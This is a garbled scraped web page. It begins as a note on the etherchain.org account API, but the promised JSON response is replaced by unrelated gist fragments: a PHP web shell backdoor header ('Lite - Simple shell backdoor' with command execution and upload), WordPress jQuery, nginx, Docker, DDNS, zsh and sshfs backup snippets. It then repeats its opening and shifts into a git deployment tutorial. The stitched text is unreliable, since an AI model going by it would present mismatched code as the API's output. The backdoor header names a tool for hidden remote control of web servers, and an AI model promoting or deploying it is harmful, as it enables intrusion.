There is no documentation at the moment, but there are some rumors. And experemental way I've made sure about few end-points are working good:
GET: https://www.etherchain.org/api/account/0xAAAsomeADDR00000000000/
Will return something like that:
{| <?php | |
| /** | |
| * Lite 1.0 | |
| * | |
| * [ Lite - Simple shell backdoor ]. | |
| * [ Feature : Filemanager,command,upload,php,server info,etc. ] | |
| * | |
| * @author shutdown57 < alinkokomansuby@gmail.com > | |
| * @version 1.0 | |
| * @copyright (c) 2018 Alinko. |
| jQuery(document).ready(function($){ | |
| var _custom_media = true, | |
| _orig_send_attachment = wp.media.editor.send.attachment; | |
| $('.stag-metabox-table .button').click(function(e) { | |
| var send_attachment_bkp = wp.media.editor.send.attachment; | |
| var button = $(this); | |
| var id = button.attr('id').replace('_button', ''); | |
| _custom_media = true; | |
| wp.media.editor.send.attachment = function(props, attachment){ | |
| if ( _custom_media ) { |
| server { | |
| server_name your-domain.com; | |
| listen 443; | |
| client_max_body_size 8M; | |
| ssl on; | |
| ssl_certificate /path/to/your/cert.crt; | |
| ssl_certificate_key /path/to/your/cert.key; |
| FROM darthsim/imgproxy:latest | |
| RUN echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \ | |
| && apk --no-cache upgrade \ | |
| && apk add --no-cache nginx | |
| RUN echo -e "#!/bin/bash\nnginx && imgproxy" > /usr/local/bin/imgproxy-nginx | |
| RUN chmod +x /usr/local/bin/imgproxy-nginx | |
| RUN mkdir -p /run/nginx |
| #!/bin/sh | |
| NOIP_USERNAME="[your-username-at-noip.com]" | |
| NOIP_PASSWORD="[your-password-at-noip.com]" | |
| NOIP_DDNS_HOSTNAME="[your-hostname].ddns.net" | |
| NOIP_UPDATE_URL="https://dynupdate.no-ip.com/nic/update" | |
| CACHED_IP_FILE=/tmp/cached_ip | |
| SCRIPT_NAME=$(basename $0) | |
| SCRIPT_PID=`/bin/pidof $SCRIPT_NAME` | |
| SYSLOG_TAG="$SCRIPT_NAME[$SCRIPT_PID]" |
| # If you come from bash you might have to change your $PATH. | |
| # export PATH=$HOME/bin:/usr/local/bin:$PATH | |
| # Path to your oh-my-zsh installation. | |
| export ZSH="/Users/admin/.oh-my-zsh" | |
| # Set name of the theme to load. Optionally, if you set this to "random" | |
| # it'll load a random theme each time that oh-my-zsh is loaded. | |
| # See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes | |
| ZSH_THEME="powerlevel9k/powerlevel9k" |
| sshfs -o IdentityFile=/backup/.ssh/id_rsa_backup -o idmap=user -o uid=0 -o gid=0 u13529@u13529.your-backup.de:/ /sshfs/backup | |
| /usr/bin/rsync -rclv --delete-before /rsnapshot /sshfs/backup/ | |
| fusermount -u /sshfs/backup |
| /** | |
| * @file A WordPress-like hook system for JavaScript. | |
| * | |
| * This file demonstrates a simple hook system for JavaScript based on the hook | |
| * system in WordPress. The purpose of this is to make your code extensible and | |
| * allowing other developers to hook into your code with their own callbacks. | |
| * | |
| * There are other ways to do this, but this will feel right at home for | |
| * WordPress developers. | |
| * |
There is no documentation at the moment, but there are some rumors. And experemental way I've made sure about few end-points are working good:
GET: https://www.etherchain.org/api/account/0xAAAsomeADDR00000000000/
Will return something like that:
{Here are the simple steps needed to create a deployment from your lokal GIT repository to a server based on this in-depth tutorial.
You are developing in a working-copy on your local machine, lets say on the master branch. Most of the time, people would push code to a remote server like github.com or gitlab.com and pull or export it to a production server. Or you use a service like my Deepl.io to act upon a Web-Hook that's triggered that service.